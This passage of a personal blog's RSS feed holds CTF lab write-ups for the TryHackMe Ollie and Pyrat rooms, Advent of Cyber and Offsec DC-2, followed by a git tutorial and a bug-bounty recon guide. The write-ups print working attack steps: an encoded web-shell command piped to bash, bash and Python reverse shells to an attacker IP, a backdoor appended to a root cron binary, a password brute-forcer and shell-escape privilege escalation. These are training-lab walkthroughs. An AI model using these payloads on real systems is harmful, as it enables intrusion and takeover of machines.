            <dc:creator><![CDATA[Tom]]></dc:creator>
            <pubDate>Thu, 27 Mar 2025 17:15:39 GMT</pubDate>
            <atom:updated>2025-03-27T17:15:39.590Z</atom:updated>
            <content:encoded><![CDATA[<p>“Meet the world’s most powerful hacker dog!” — TryHackMe</p><p># Link: <a href="https://tryhackme.com/room/ollie">https://tryhackme.com/room/ollie</a></p><p>First, lets begin with scanning the machine</p><pre>nmap &lt;machine_ip&gt; -vv -p-</pre><p>We find that port 22,80 and 1337 are open</p><pre>nmap &lt;machine_ip&gt; -sV -sC -p 22,80,1337</pre><p>I decided to check out port 1337 first, we don’t see this open much so I thought it must be a necessary port to check for foothold</p><pre>nc &lt;machine_ip&gt; 1337</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J4rnip0xzgAABNzgsnttEQ.png" /></figure><p>I didn’t really bruteforce anything, the username admin isn’t necessary. It can be anything. The thing that matters is when the script asks you “What breed of dog am I? I’ll make it a multiple choice question to keep it easy: Bulldog, Husky, Duck or Wolf?”, it keeps prompting you for the answer until you get it right, so I guess it’s pretty easy to figure it out from there. We get some creds back for getting the question back. After checking out port 80 (http) it’s pretty obvious where we use these creds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*pH-MlFHUJcNTYSJgJ2UmLg.png" /></figure><p>After logging in I found the service version at the bottom of the dashboard;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*8X4HnaLAC9C4TI56DHNJlQ.png" /></figure><p>I search online for exploit and found this script: <a href="https://www.exploit-db.com/exploits/50963">https://www.exploit-db.com/exploits/50963</a></p><p>I ran it on my machine providing the proper params and said there was a browser shell at “/evil.php”. I tried a couple revshell payloads but it worked by getting a standard bash dev tcp payload -&gt; base32 encoded -&gt; base64 endoced -&gt; echo it out from the evil.php cmd param -&gt; base32 decode it -&gt; base64 decode it -&gt; parse into bash</p><pre>/evil.php?cmd=echo &quot;JQZEU4DCNE4WSWKYJZXUSQZROBEUINDNJFBTS222LBMXMZCHJZ3UY6SFO5GGU23VJV4TIMSPKM4DKTKEIF4ESRCBFNFGURJ5&quot; | base32 -d | base64 -d | bash</pre><p>This worked and I got a connection back on my listener.<br>I then logged in as ollie because he reuses his passwords (the one we got from the 1337 script). Shame on him. I poked around /opt, /var/www/html, /tmp, his home folder. Found nothing. Ran linpeas and found nothing, then ran pspy and found that every minute or so the binary /usr/bin/feedme was being ran as root. We have write access due to the bad group perms on the binary, so I just echoed another revshell payload into it and waited back on my listener.</p><pre>echo &quot;/bin/bash -i &gt;&amp; /dev/tcp/&lt;THMVPN_IP&gt;/9002 0&gt;&amp;1&quot; &gt;&gt; /usr/bin/feedme</pre><pre>#On attackbox or attacker machine<br>nc -lvnp 9002</pre><p>Now just wait for your shell.</p><p>Hope this helps</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=946bd09dfa78" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advent of Cyber : 1]]></title>
            <link>https://medium.com/@tom.sh/advent-of-cyber-1-a41dacb6f616?source=rss-357dbe7ed3ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/a41dacb6f616</guid>
            <category><![CDATA[thm]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[opsec]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[advent-of-cyber-2024]]></category>
            <dc:creator><![CDATA[Tom]]></dc:creator>
            <pubDate>Mon, 02 Dec 2024 15:50:22 GMT</pubDate>
            <atom:updated>2024-12-02T15:50:22.425Z</atom:updated>
            <content:encoded><![CDATA[<h3>Advent of Cyber : 1</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zB78FXe72DlLFksk8Ob5Cw.jpeg" /><figcaption>Thumbnail</figcaption></figure><p># Link: <a href="https://tryhackme.com/r/room/adventofcyber2024">https://tryhackme.com/r/room/adventofcyber2024</a></p><p>“McSkidy’s fingers flew across the keyboard, her eyes narrowing at the suspicious website on her screen. She had seen dozens of malware campaigns like this. This time, the trail led straight to someone who went by the name “Glitch.”</p><p>“Too easy,” she muttered with a smirk.</p><p>“I still have time,” she said, leaning closer to the screen. “Maybe there’s more.”</p><p>Little did she know, beneath the surface lay something far more complex than a simple hacker’s handle. This was just the beginning of a tangled web unravelling everything she thought she knew.”</p><p>— -</p><p>Advent of cyber kicks of with some purple teaming, and some demonstrations of bad OPSEC.</p><p>We have to navigate to the machine IP on our browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fLkneSIUvxulgnBnjVCweA.png" /></figure><p>It is a youtube -&gt; mp3/4 converter.</p><p>Whenever we input any valid URL, it ‘loads’ a second then we are able to download our video from a zip file.</p><p>Everything isn’t as it seems and we see that 2 files come out of the zip.</p><p>A song.mp3 and a somg.mp3</p><p>Somg.mp3 is actually a “MS Windows shortcut” file, that contains malicious code that runs when executed. We can use some CLI tools to see the data in it without running it.</p><pre>exiftool somg.mpg<br><br>or<br><br>file somg.mpg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*pTclp3hyAZQgvYxMkfXfoQ.png" /></figure><p>You can do this on the other, legitimate file, song.mp3 to get the answer to the first question.</p><p>Q1: Tyler Ramsbey</p><p>From the above seen image, we can find our way to a GitHub profile:</p><p><a href="https://github.com/MM-WarevilleTHM">MM-WarevilleTHM - Overview</a></p><p>Going to one of his powershell projects</p><p><a href="https://github.com/MM-WarevilleTHM/IS/blob/main/IS.ps1">IS/IS.ps1 at main · MM-WarevilleTHM/IS</a></p><p>We can get the domain of his C2 server.</p><p>Question 2: <a href="http://papash3ll.thm/data">http://papash3ll.thm</a>/data</p><p>Heading over to the “MM” repo: <a href="https://github.com/MM-WarevilleTHM/">https://github.com/MM-WarevilleTHM/</a></p><p>We can see his readme, where he tells us his name</p><p>Question 3: Mayor Malware</p><p>Now finally, we can go to the the powershell project URL and inspect the contribution history.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*IN8aAd9KYgvP-nCJ1W-poA.png" /></figure><p>We can see there has only been 1 contribution:</p><p>Question 4 : 1</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a41dacb6f616" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DC-2 Writeup]]></title>
            <link>https://medium.com/@tom.sh/dc-2-writeup-3eeb6e710590?source=rss-357dbe7ed3ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/3eeb6e710590</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[write]]></category>
            <category><![CDATA[offsec]]></category>
            <category><![CDATA[cyber]]></category>
            <dc:creator><![CDATA[Tom]]></dc:creator>
            <pubDate>Sun, 20 Oct 2024 11:18:48 GMT</pubDate>
            <atom:updated>2024-10-20T11:18:48.782Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello, today I will be doing a writeup for the CTF called DC-2 on Offsec labs</p><pre>nmap &lt;IP&gt; -vv -p-</pre><pre>nmap -sV -sC -p 80,7744</pre><p>We find a webserver (80) and another service running port 7744, which nmap tells us is SSH, used for remote access.</p><p>Let’s work our way from the bottom to the top, with port 80, we get redirected to <a href="http://dc-2/">http://dc-2</a></p><p>This was unusual as it didn’t have a top level domain name (.com, .net, .org etc). But I just figured we slap it into our /etc/hosts/ file and see if it works.</p><pre>echo &quot;&lt;machine_ip&gt; dc-2&quot; &gt;&gt; /etc/hosts</pre><p>Now, if we visit the IP again in our browser, we are redirected to <a href="http://dc-2/">http://dc-2</a> and it works. We get a Wordpress template website. Except for one thing;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*JdR2dRw2wK92FTNGrka6WQ.png" /></figure><p>It says:</p><pre><br><br>Flag 1:<br><br>Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.<br><br>More passwords is always better, but sometimes you just can’t win them all.<br><br>Log in as one to see the next flag.<br><br>If you can’t find it, log in as another.</pre><p>This is pretty on the nose. We have to use cewl to generate a wordlist using the lorem ipsum text and brute force the admin password on.</p><p><a href="http://dc-2/wp-login.php">http://dc-2/wp-login.php</a></p><p>If your confused on how I found this endpoint, wordpress sites (99% of the time) have their login endpoint at wp-login.php. And the username is alot of the time “admin”, which we can confirm the user exists by going to the aforementioned endpoint and trying the username “admin” with a random password.</p><pre>The password you entered for the username admin is incorrect.</pre><p>We can enumerate that the username admin exists because of this server response. We don’t stop here though, we need to enumerate more, just in case!</p><p>Another common wordpress endpoint is /wp-json/wp/v2/users/</p><p>This is a json file containing the wordpress users. And we find there is another user called “jerry” at <a href="http://dc-2/index.php/wp-json/wp/v2/users/">http://dc-2/index.php/wp-json/wp/v2/users/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*WwkR0iuFCts1N7C5r4q_qA.png" /></figure><p>Anyway! Let’s start on getting our wordlist.</p><pre>cewl &quot;http://dc-2&quot; &gt; passwords.txt</pre><p>I had trouble getting hydra to attack our web-app here , this is because it’s lack of a TLD. So I just captured the login request on burp, sent it to the intruder and brute forced our password.</p><p>Admin: Couldn’t get a password</p><p>Jerry: <strong>adipiscing</strong></p><p>After logging in I tried popping a shell, but couldnt and I kinda hit a brick wall here I didn’t really know what to do.</p><p>After a while though I went back to enumeration and used a popular tool called wpscan and it told me there was a user called “tom” on the box.</p><p>I then went on a long tangent of brute forcing tom’s username and found that it was “parturient” but his account didn’t have any more privileges than jerry.</p><p>I was about to give up but then remembered the SSH service on 7744. I tried their wordpress passwords on the ssh service and logged in as tom</p><pre>ssh tom@dc-2 -p 7744</pre><p>Instantly we run into a problem, for some reason we have access to like, no commands haha.</p><p>Its a simple fix though. Type vi in your shell</p><pre>vi</pre><p>Then paste this into your vi shell:</p><pre>:set shell=/bin/sh</pre><p>The paste</p><pre>:shell</pre><p>Then FINALLY!</p><pre>/bin/bash</pre><p>We now have the resources necessary to change our PATH variable</p><pre>export PATH=/bin/:/usr/bin:/usr/local/bin:$PATH</pre><p>Now we can get our first flag “local.txt”</p><p>We now get a hint on what our privesc is, in flag3.txt:<br>Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.</p><pre>Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.</pre><p>We now su into jerry and I had trouble with what his password was for a little bit, but I just re-used his password from the wordpress and it worked.</p><h3># Privesc</h3><p>Now that we are in Jerry’s account we can run sudo -l to see if we can run anything as root on this box</p><pre>sudo -l</pre><p>We find out that we can run git as sudo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*cGu_U0RT8Ts6_Esx1B5sKg.png" /></figure><p>Head over to gtfobins and find out what to run to get our final shell.</p><p><a href="https://gtfobins.github.io/gtfobins/git/">git | GTFOBins</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*GOzaB3YzcmkjlMhu8Yeldg.png" /></figure><p>Run this in the terminal while logged in as jerry</p><pre>sudo git -p help config</pre><p>Then</p><pre>!/bin/bash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*Lia_chU3l6ncRlPpoB0OcA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/417/1*3bVOK-Qka-f6cDNdnP1uKw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*5cKLpy88pXjIUw0Pr9RiDw.png" /></figure><p>Hope this helps!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3eeb6e710590" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pyrat writeup]]></title>
            <link>https://medium.com/@tom.sh/pyrat-writeup-d41ae06d137b?source=rss-357dbe7ed3ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/d41ae06d137b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[pwned]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Tom]]></dc:creator>
            <pubDate>Wed, 09 Oct 2024 16:34:12 GMT</pubDate>
            <atom:updated>2024-10-09T16:34:12.781Z</atom:updated>
            <content:encoded><![CDATA[<h3>Link: <a href="https://tryhackme.com/r/room/pyrat">https://tryhackme.com/r/room/pyrat</a></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3yLFm9lZIZE_Irwr" /><figcaption>Hi</figcaption></figure><p>“Pyrat receives a curious response from an HTTP server, which leads to a potential Python code execution vulnerability. With a cleverly crafted payload, it is possible to gain a shell on the machine. Delving into the directories, the author uncovers a well-known folder that provides a user with access to credentials. A subsequent exploration yields valuable insights into the application’s older version. Exploring possible endpoints using a custom script, the user can discover a special endpoint and ingeniously expand their exploration by fuzzing passwords. The script unveils a password, ultimately granting access to the root.” — TryHackMe.</p><p>Hello, I hope you are in good health. Today we are tackling one of TryHackMe’s many new CTFs they have coming out with, “Pyrat”</p><p>Judging by the theme of the room I thought that it would have to have something to do with python.</p><p>I ran an nmap scan and found 2 ports open:</p><ul><li>22</li><li>8000</li></ul><p>22 is almost always something I skip over, as it is SSH 99.999999999% of the time and is always very secure. I visited the machine IP on port 8000 in my browser:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qqtP42u6xGwFER3qWOgIYQ.png" /></figure><p>I sat in my chair and thought about this for a second before trying to connect to it manually, using netcat (you can use telnet if you want, it doesnt matter).</p><pre>nc &lt;machine_IP&gt; 8000</pre><p>I didnt get a response, just a hanging terminal (i thought)</p><p>I typed in some random gibberish and got some python compiler errors.</p><p>User input -&gt; gets processed by python -&gt; errors outputted (depending on input)</p><p>I tested my theory out by doing</p><pre>print(&quot;Hello, World!&quot;)</pre><p>And hey! Look at my response 👌:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*a33qFNnUuyaTVXdHRJ6ZhQ.png" /></figure><p>From here on out its pretty simple, we pop a reverse shell and explore the file system for privesc bugs!:</p><pre>import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;10.8.39.88&quot;,9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(&quot;sh&quot;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*J1DFWSfU2rYMdW7wNbFjnA.png" /></figure><p>Now, this is a personal preference and is needed later on, we need to stabilize our shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*tJwcrNzzji9slVC4t4eHnA.png" /></figure><pre>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><pre>export TERM=xterm</pre><p>We are kind of told already by the rooms designers / creators the privesc foothold we need is in a pretty common file, so i spent a while looking around and found a .git repo in /opt along with finding that there is another user on the machine called think</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*ml4nCIw2D86pAX0US7lRWg.png" /></figure><pre>cat config</pre><p>Then, you get your password for think.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*tb1STChk-1cjXdkpTWYuHw.png" /></figure><p>user.txt is in thinks home directory (~)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*UFqVsbJQfGEuQ541xtICYA.png" /></figure><p># Privesc:</p><p>We find that in the /opt/dev directory there are some logs from the git commands that were ran</p><pre>git status</pre><p>We see that there was a file called “pyrat.py.old” that was removed:</p><pre>git restore pyrat.py.old</pre><p>This seems to be some malware sample. I checked running processes for this file “pyrat.py” and found that it was running as root.</p><p>I did more research on the git logs and found:</p><pre>Author: Jose Mario &lt;josemlwdf@github.com&gt;<br>Date:   Wed Jun 21 09:32:14 2023 +0000</pre><p>I checked github for this user “josemlwdf”</p><p><a href="https://github.com/josemlwdf">josemlwdf - Overview</a></p><p>He made this pyrat.py, i checked the documentation on the readme file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*b8_PRUzUSRDRVy5ssPCHqA.png" /></figure><p>This seems to be what we were connecting.</p><p>We find that connecting via nc and typing shell will give us a shell, then using admin will prompt us for a password.</p><p>We have to build a python script to do this for us.</p><pre>import socket<br><br>ip = &quot;10.10.44.198&quot; <br>target_port = 8000<br>password_wordlist = &quot;/home/tom/tools/SecLists/Passwords/500-worst-passwords.txt&quot;<br>with open(password_wordlist,&quot;rb&quot;) as f:<br>        for line in f.readlines():<br>                client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>                client_socket.connect((ip, target_port))<br>                client_socket.sendall(b&#39;admin&#39;)         <br>                response = client_socket.recv(1024).decode()<br>                print(&quot;Attempting password: {}&quot;.format(line.decode(&quot;utf-8&quot;)),end=&#39;&#39;)<br>                client_socket.sendall(line)<br><br>                response = client_socket.recv(1024).decode()<br>                if &quot;Password:&quot; not in response:<br>                        print(&quot;found correct password {}&quot;.format(line.decode(&quot;utf-8&quot;)))<br>                        i=1                     <br>                        break<br>                else:<br>                        print(&quot;Wrong password&quot;)<br>                        client_socket.close()</pre><p>We get the admin password after like 5 seconds of running:</p><p>root.txt is in /root</p><p>Hope this helps! Happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d41ae06d137b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to use git(The basics)]]></title>
            <link>https://medium.com/@tom.sh/how-to-use-git-the-basics-1fce95916122?source=rss-357dbe7ed3ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/1fce95916122</guid>
            <category><![CDATA[git]]></category>
            <category><![CDATA[tech]]></category>
            <category><![CDATA[github]]></category>
            <category><![CDATA[repositories]]></category>
            <category><![CDATA[coding]]></category>
            <dc:creator><![CDATA[Tom]]></dc:creator>
            <pubDate>Sat, 28 Sep 2024 13:53:47 GMT</pubDate>
            <atom:updated>2024-09-28T13:53:47.227Z</atom:updated>
            <content:encoded><![CDATA[<p>In this blog, I will teach you how to set up git, wether that is in your own terminal or for this example I will be using vscode terminal</p><p>Lets set a scenario, you have just finished coding your sweet new website, you have all your images, js files, html, css and whatnot but you dont want to manually upload all your files to github so you can all of your friends or show off to potential employers.</p><p>Git can help us streamline our code directly to our repo.</p><p>So, to open up our terminal on vscode, use ctrl + `</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2m1ItVVP6o9xhfQ2AnWa4A.png" /></figure><p>This is what it looks like for me.</p><p>To let git know where we want to send our code, we have to supply it with our repo link.</p><p>For example</p><pre>https://github.com/tomhtml/my-cool-repo.git</pre><p>So, head to your github repository and copy the .git link. I will be using my gitpages website repo as an example</p><pre>https://github.com/tom-who/tom-who.github.io</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*4uYjk8yqE0rJaRpp1bXssQ.png" /></figure><p>Then, back in our terminal we run the following command</p><pre>git remote set-url origin &lt;your git link&gt;</pre><p>Then run</p><pre>git remote -v</pre><p>It should output something like:</p><pre>origin &lt;your git repo url&gt; (fetch)<br>origin &lt;your git repo url&gt; (push)</pre><p>Now, we run</p><pre>git add .</pre><p>Or</p><pre>git add &lt;local path of your website files&gt;</pre><p>This adds our files to our repo, now we need to give our “commit” a message.</p><pre>git commit -m &quot;My first time using git!&quot;</pre><p>Then finally, to send our files across the internet to our repository, we need to run:</p><pre>git push</pre><p>After running this, depending if your using vscode like me, or terminal, you have to provide credentials to prove your the owner of | or have access to the repository.</p><p>Hope this helps!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1fce95916122" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to find wildcard bug bounty assets owned by a company.]]></title>
            <link>https://medium.com/@tom.sh/how-to-find-wildcard-bug-bounty-assets-owned-by-a-company-991db585a554?source=rss-357dbe7ed3ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/991db585a554</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[recon]]></category>
            <category><![CDATA[reconnaissance]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Tom]]></dc:creator>
            <pubDate>Wed, 03 Jul 2024 09:38:06 GMT</pubDate>
            <atom:updated>2024-07-03T09:38:06.864Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Uqhhgij5UPvTw9GV.jpeg" /></figure><p>In this article I will explain how to hunt down domains owned by a company with a different name.</p><p>It sounds confusing but for example, I will use the NFL vdp program on bugcrowd, in the scope it says</p><pre>Any host verified to be owned by NFL Enterprises LLC</pre><p>Obviously you will have the domains like *.nfl.com but what about hosts owned by NFL enterprises that might be under a different domain name? That is what I will be teaching you in this article.</p><h3>1. Check the NFL’s Website and Footer</h3><p>Start with the official NFL website (nfl.com) and look for any links or references to other sites. Many organizations list their related properties in the footer or within a section dedicated to their media properties.</p><h3>2. Use WHOIS Lookup</h3><p>WHOIS lookup services can help identify the owner of a domain. You can use a WHOIS lookup tool to check the registration details of domains and see if they are owned by the NFL. Some popular WHOIS lookup tools include:</p><ul><li><a href="https://www.whois.net/">Whois.net</a></li><li>ICANN WHOIS</li><li>DomainTools</li></ul><h3>3. Search for Subdomains</h3><p>This is already an obvious statement, subdomains are almost always the best way to find vulnerable web apps, you can check out my recon script here on github; <a href="https://github.com/tom-who/BPP-tools/">https://github.com/tom-who/BPP-tools/</a></p><p>You can install the necessary tools to go with it by using go install ‘link’</p><h3>4. Check Reverse IP Lookup</h3><p>A reverse IP lookup can help you find other domains hosted on the same server as nfl.com. This may give clues to other websites owned by the NFL. Some tools for reverse IP lookup include:</p><ul><li>YouGetSignal</li><li>ViewDNS.info</li></ul><h3>5. Search for Related News and Announcements</h3><p>Often, companies announce new website launches or acquisitions in press releases or news articles. Search for news related to the NFL and its digital properties. Use search engines and news websites to find such information.</p><h3>6. Review Corporate Filings and Reports</h3><p>Companies often disclose their web properties in their annual reports, SEC filings, or other corporate documents. You can review these documents on the NFL’s official site or financial sites like:</p><ul><li><a href="https://www.sec.gov/">SEC.gov</a></li><li><a href="https://finance.yahoo.com/">Yahoo Finance</a></li></ul><h3>7. Use Online Tools and Services</h3><p>There are specialized online tools and databases that provide information on company ownership and related web properties. Some of these include:</p><ul><li><a href="https://builtwith.com/">BuiltWith</a></li><li><a href="https://spyonweb.com/">SpyOnWeb</a></li></ul><h3>8. Check Social Media Profiles</h3><p>Social media platforms like LinkedIn, Twitter, and Facebook can provide information about the NFL’s digital assets. Companies often list their websites in their social media profiles.</p><p>After these steps you can find alot of companies owned by the NFL for example. This is already good enough but you can take it a step farther.</p><p>I have found a couple online resources where you can find other companies with just one API request;</p><p>*Disclaimer: Im not sure if this 100% accurate, so take this with a grain of salt if your going to report bugs on these domains*</p><pre>https://api.bgpview.io/search?query_term=company</pre><p>Here is a one liner you can save if you like, to collect the business names and ASN’s.</p><pre>curl -s &quot;https://api.bgpview.io/search?query_term=company&quot; | jq -r &#39;.data.asns[] | .description &#39;</pre><p>For example lets look at the reply from “<a href="https://api.bgpview.io/search?query_term=netflix">https://api.bgpview.io/search?query_term=netflix</a>”</p><pre>{<br>  &quot;status&quot;: &quot;ok&quot;,<br>  &quot;status_message&quot;: &quot;Query was successful&quot;,<br>  &quot;data&quot;: {<br>    &quot;asns&quot;: [<br>      {<br>        &quot;asn&quot;: 40027,<br>        &quot;name&quot;: &quot;NETFLIX-ASN&quot;,<br>        &quot;description&quot;: &quot;Netflix Streaming Services Inc.&quot;,<br>        &quot;country_code&quot;: &quot;US&quot;,<br>        &quot;email_contacts&quot;: [<br>          &quot;cdnetops@netflix.com&quot;<br>        ],<br>        &quot;abuse_contacts&quot;: [<br>          &quot;cdnetops@netflix.com&quot;<br>        ],<br>        &quot;rir_name&quot;: &quot;ARIN&quot;<br>      }<br>    ],<br>    &quot;ipv4_prefixes&quot;: [<br>      {<br>        &quot;prefix&quot;: &quot;149.112.86.0/23&quot;,<br>        &quot;ip&quot;: &quot;149.112.86.0&quot;,<br>        &quot;cidr&quot;: 23,<br>        &quot;name&quot;: &quot;NET-FLIX-23&quot;,<br>        &quot;country_code&quot;: &quot;US&quot;,<br>        &quot;description&quot;: &quot;Community IX Holdings, Inc.&quot;,<br>        &quot;email_contacts&quot;: [<br>          &quot;rwoolley@communityix.org&quot;,<br>          &quot;dtemkin@fl-ix.net&quot;,<br>          &quot;repstein@hostleasing.net&quot;<br>        ],<br>        &quot;abuse_contacts&quot;: [<br>          &quot;dtemkin@fl-ix.net&quot;,<br>          &quot;repstein@hostleasing.net&quot;<br>        ],<br>        &quot;rir_name&quot;: &quot;ARIN&quot;,<br>        &quot;parent_prefix&quot;: &quot;149.112.86.0/23&quot;,<br>        &quot;parent_ip&quot;: &quot;149.112.86.0&quot;,<br>        &quot;parent_cidr&quot;: 23<br>      },<br>      {<br>        &quot;prefix&quot;: &quot;178.135.7.0/24&quot;,<br>        &quot;ip&quot;: &quot;178.135.7.0&quot;,<br>        &quot;cidr&quot;: 24,<br>        &quot;name&quot;: &quot;NETFLIXJD1&quot;,<br>        &quot;country_code&quot;: &quot;LB&quot;,<br>        &quot;description&quot;: &quot;NETFLIXJD1&quot;,<br>        &quot;email_contacts&quot;: [<br>          &quot;chebaro@ogero.gov.lb&quot;<br>        ],<br>        &quot;abuse_contacts&quot;: [<br>          &quot;chebaro@ogero.gov.lb&quot;<br>        ],<br>        &quot;rir_name&quot;: &quot;RIPE&quot;,<br>        &quot;parent_prefix&quot;: &quot;178.135.0.0/16&quot;,<br>        &quot;parent_ip&quot;: &quot;178.135.0.0&quot;,<br>        &quot;parent_cidr&quot;: 16<br>      }<br>and so on.......</pre><p>You can find ASN numbers, which is an Autonomous System Number, which contain network information; <strong>defines a group of one or more IP prefixes run by one or more network operators that maintain a single, clearly-defined routing policy</strong></p><p>We can use amass to use the ASN number we found belonging to netflix from the previous query</p><pre>amass intel -asn 40027</pre><p>And with that you should know a lot more recon.</p><p>I hope this helps you on your recon journey,</p><p>Happy Hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=991db585a554" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>